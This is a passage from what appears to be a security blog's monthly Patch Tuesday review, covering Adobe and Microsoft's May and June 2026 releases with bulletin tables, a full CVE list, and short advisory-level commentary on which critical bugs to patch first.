Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

